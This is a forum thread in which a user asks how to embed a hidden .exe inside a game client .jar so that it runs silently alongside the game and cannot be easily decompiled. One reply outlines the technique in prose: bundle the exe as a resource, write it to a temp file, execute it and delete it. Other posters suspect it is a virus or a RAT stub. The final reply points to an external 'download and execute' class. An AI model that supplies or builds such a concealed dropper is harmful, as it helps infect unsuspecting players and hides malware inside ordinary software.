[Interest]

Currently I have a .jar file being used for a client-based game.

I would like to privately embed a .exe file within the .jar file itself so that no other user can simply JD-GUI it.

This way, when the .jar file is opened, the .exe file is executed alongside with it.

Can anyone help me with this type of problem? Thanks.

[JavaProfit]

What you can do it drop the .exe inside of your jar as a resource. Then when you're ready to execute the .exe, write it as a temporary file (File.createTempFile) and execute it with Runtime.getRuntime().exec(...) or by using a process builder. You can delete the temp file when you're done with it (File#deleteOnExit()).

[Interest]

I apologize for my lack of knowledge in Java coding.

I am still trying to figure out how to have this happen:

1. I run my .jar file.
2. The .jar opens up as normal, but ALSO launches an .exe file as well (hidden).

I have looked everywhere and may be overlooking this situation, but if anyone could help me I'd greatly appreciate it.

Thank you guys.

[nOrr]

Why are you doing Java programming (cross platform) if you are going to include an exe-file required for program execution (which is platform and often architecture specific)?

[matt]

Why are you doing Java programming (cross platform) if you are going to include an exe-file required for program execution (which is platform and often architecture specific)?

Because he's lying and he's trying to embed a virus in to a jar file.

[Hawk HF]

Because he's lying and he's trying to embed a virus in to a jar file.

I'm going to guess its a RAT stub in a rsps client.

[JavaProfit]

Because he's lying and he's trying to embed a virus in to a jar file.

Far-fetched idea, but he could be opening something innocent like netcat and downloading cat pictures.

[Verditure0]

I'd suggest a simple file download and execute class. All you need is a direct link. Since I can't post links, I'll provide the pastebincom/ link:

pastebin(dot)com(slash)vG1BefTM

^^ Enjoy copying the source code for this class.